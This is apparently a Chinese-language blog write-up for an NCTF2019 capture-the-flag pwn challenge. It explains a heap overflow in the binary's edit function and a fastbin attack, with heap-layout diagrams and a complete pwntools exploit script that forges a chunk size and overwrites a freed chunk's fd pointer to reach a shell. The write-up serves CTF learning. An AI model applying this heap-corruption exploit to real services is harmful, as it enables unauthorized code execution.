【Pwn】NCTF2019 pwn me 100 years! (Ⅲ)

main函數
在這裏插入圖片描述首先創建了一個0x10大小的堆塊,最後如果這個堆塊的值爲0x66666666那麼執行/bin/sh。那麼想辦法分配到這塊內存空間即可。

看看中間的菜單,找到漏洞在edit函數中,read爲固定的0x20個字節,由於最小堆塊的大小是0x10,共享pre_size的8個字節,0x10和0x18分配的大小都是0x10字節,所以存在0x10個字節的溢出,但是0x10大小的字節只能覆蓋到下一個chunk的size部分,不能直接修改掉fd部分,所以通過修改size進行下一步溢出。

首先分配4個chunk
add(16,‘aaaa’)#0
add(16,‘bbbb’)#1
add(16,‘cccc’)#2
add(16,‘dddd’)#3
內存變爲
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----系統最開始分配的chunk
xxxxxxxxdeadbeef xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk0
xxxxxxxxxxxxaaaa xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk1
xxxxxxxxxxxxbbbb xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk2
xxxxxxxxxxxxcccc xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk3
xxxxxxxxxxxxdddd xxxxxxxxxxxxxxxx
接着將chunk3,chunk2 free掉
delete(3)
delete(2)
內存變爲
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----系統最開始分配的chunk
xxxxxxxxdeadfeef xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk0
xxxxxxxxxxxxaaaa xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk1
xxxxxxxxxxxxbbbb xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk2
xxxxxxxxkkkkkkkk xxxxxxxxxxxxxxxx (這裏chunk2在fastbin 鏈棧上了 fd指向chunk3,k表示chunk3地址)
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk3
xxxxxxxxxxxx0000 xxxxxxxxxxxxxxxx
接着修改chunk0,覆蓋chunk1的size。
edit(0,‘a’*0x18+p64(0x41)),chunk1大小變爲0x41
free chunk1,那麼chunk1就會被鏈到大小爲0x30(去除頭部0x10)的fastbin中去,那麼接下來再malloc(0x30)就會將chunk1分配回來,且可以輸入0x30大小的字符串於是就可以去覆蓋chunk2的fd部分做fastbinattack了,動態調試發現堆地址最低字節是00,於是只要將chunk2的fd最低字節改爲00即可。

from pwn import *
io=remote("xx.xx.xx.xx","xxxxx")
def add(size,data):
    io.recvuntil('5,exit\n')
    io.sendline('1')
    io.recvuntil('size')
    io.sendline(str(size))
    io.recvuntil('content:')
    io.send(data)

def delete(index):
    io.recvuntil('5,exit\n')
    io.sendline('2')
    io.recvuntil('idx:')
    io.sendline(str(index))

def edit(index,data):
    io.recvuntil('5,exit\n')
    io.sendline('4')
    io.recvuntil('idx:')
    io.sendline(str(index))
    io.recvuntil('content:')
    io.send(data)

def show(index):
    io.recvuntil('5,exit\n')
    io.sendline('3')
    io.recvuntil('idx')
    io.sendline(str(index))

add(16,'aaaa')#0
add(16,'bbbb')#1
add(16,'cccc')#2
add(16,'dddd')#3

delete(3)
delete(2)
edit(0,'a'*0x18+p64(0x41))
delete(1)
add(0x30,'a'*0x18+p64(0x21)+p8(0))

add(16,'aaaaaa')
add(16,p64(0x66666666))
io.sendline('5')
io.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章